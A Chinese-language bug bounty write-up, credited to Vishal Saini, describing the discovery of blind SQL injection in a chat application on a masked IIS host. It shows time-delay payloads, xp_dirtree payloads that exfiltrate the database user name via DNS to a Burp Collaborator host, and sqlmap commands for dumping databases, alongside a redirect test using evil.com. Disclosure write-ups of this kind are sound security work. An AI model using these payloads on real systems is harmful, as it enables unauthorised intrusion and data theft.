本文为白帽子Vishal Saini在HackerOne上某个私人项目中的一处发现。由于是私人项目,因此进行了某些打码以防止泄露任何敏感信息。
发现过程:
首先自然是一些基本的侦察与信息收集,使用一些开源工具(如AMASS等)进行子域枚举后,便开始查看每个子域,在这个过程中,偶然发现了一个域名:chat.example.com,页面为默认的IIS服务器登录页。
在遇到默认网页后,总有一定的概率存在某些让我们感兴趣的页面,因此白帽小哥使用定制化字典对网站目录进行扫描,在结果中只得到一个/vendor-name目录,访问https://chat.example.com/vendorname/ 时出现了 403 错误:
遇到此类错误时,白帽小哥通常会针对该目录再次进行目录扫描,很快发现了另一个目录,假设当前是/software-name,同样也给出了403错误,那么对 /vendor-name/software-name/ 的目录扫描却发现了多个结果。
如 /bin、/scripts、/logs、/styles 等,但这些并没有什么用,logs虽然有趣,但在该端点上并没有发现任何有趣的东西,另外白帽小哥还尝试了各种html、aspx、ashx、asp、bak、log 扩展名,同样没有任何收获,这一切似乎进入了死胡同。
而后白帽小哥继续在Google上搜索前两个目录的名称,因为它们看起来像/Vendor-name/Software-name,因此在Google上搜索了Vendor-name Software-Name,然后搜索到的结果和有关服务器上安装的软件的信息并不多,仅仅知道这是一个付费聊天/支持软件。
之后,白帽小哥又在GitHub等网站上搜索了该应用程序的目录结构,同样一无所获。在浏览了多个结果后,白帽小哥发现了一段由供应商制作的YouTube视频,讲解了如何安装和配置该应用程序,视频中的演示者讲解了各种配置文件的配置方法,因此在视频中,演示者打开了安装服务器的文件夹,当演示者深入软件目录时,白帽小哥发现与他扫描到的目录结构有所对应,于是白帽小哥根据演示视频对他的扫描字典进行了相应更新,成功发现一处URL:
https://chat.example.com/vendor-name/software-name/directory1/vulnerableform.html
在填写信息并单击Send之后,先是发出一个GET请求,该请求类似于:
https://chat.example.com/vendor-name/software-name/_randomfiles.aspx?_param1=1&_returnURL=%2Fexample.html
该请求看起来很有趣,于是白帽小哥尝试查看该请求与响应数据,该请求中_returnURL包含一个HTML重定向,因此白帽小哥试图将URL改为https://evil.com,响应包提示打开重定向超出了范围,于是白帽小哥又试图在 URL 中注入javascript:alert(1) ,发现同样已被正确编码。
在此之后,白帽小哥尝试对其它参数进行基本的SQL注入测试,在尝试了一些有条件的 Blind SQLI 失败后,白帽小哥开始尝试一些 Blind SQL有效载荷以触发时间延迟,因为它是 Microsoft 服务器,所以后端数据库很可能是支持批量查询的 Microsoft SQL Server,于是白帽小哥试图使用无条件的时间延迟以便在响应中诱导一些延迟,而令人惊讶的是居然注入成功了,参数上使用了最基本的Payload(即waitfor delay'0:0:20'--),响应包成功延迟了 20 秒。
有多种方法可以利用Blind SQL注入,如触发条件响应和带外攻击,最常见的方法是让应用程序触发我们控制的系统的带外交互,最常见的方法是使用DNS服务协议,因为几乎每个组织都允许传出DNS查询,在此场景中也是如此。
为了确认漏洞,白帽小哥使用了“xp_dirtree”存储过程,该存储过程将尝试列出其第一个参数中给定的目录或网络共享的内容,如果列表是一个网络共享,它将为它做一个DNS查找,如果我们收到回调信息,则可以确认OOB提取数据是存在可能的。
PingBack Payload:
;declare @q varchar(99);set @q=’\\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE].burpcollab’+’orator.net\ogy’; exec master.dbo.xp_dirtree @q; —
用户名提取Payload:
;declare @q varchar(99);set @q=’\\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE]’+(SELECT user_name())+’.burpcollab’+’orator.net\ogy’; exec master.dbo.xp_dirtree @q; —
但是,可以手动提取的字符数是有限制的,如果查询结果少于 253(包括burp collaborator域名),那么数据提取是可能的,但这足以对报告进行分类,但为了进一步利用,白帽小哥使用 SQLMAP 来轻松地为我们提供想要数据的POC。
注入确认:
python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1
获取数据库:
python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1 — dbs
在此之后,白帽小哥迅速提交了漏洞报告,HackerOne 与厂商快速确认该漏洞并将报告定级为 Critical [9.3] 严重级,在漏洞修复后,白帽小哥成功获得了4324 美元的赏金奖励。
希望本文能对你有所启发,也欢迎分享给更多对本文感兴趣的人~
====正文结束====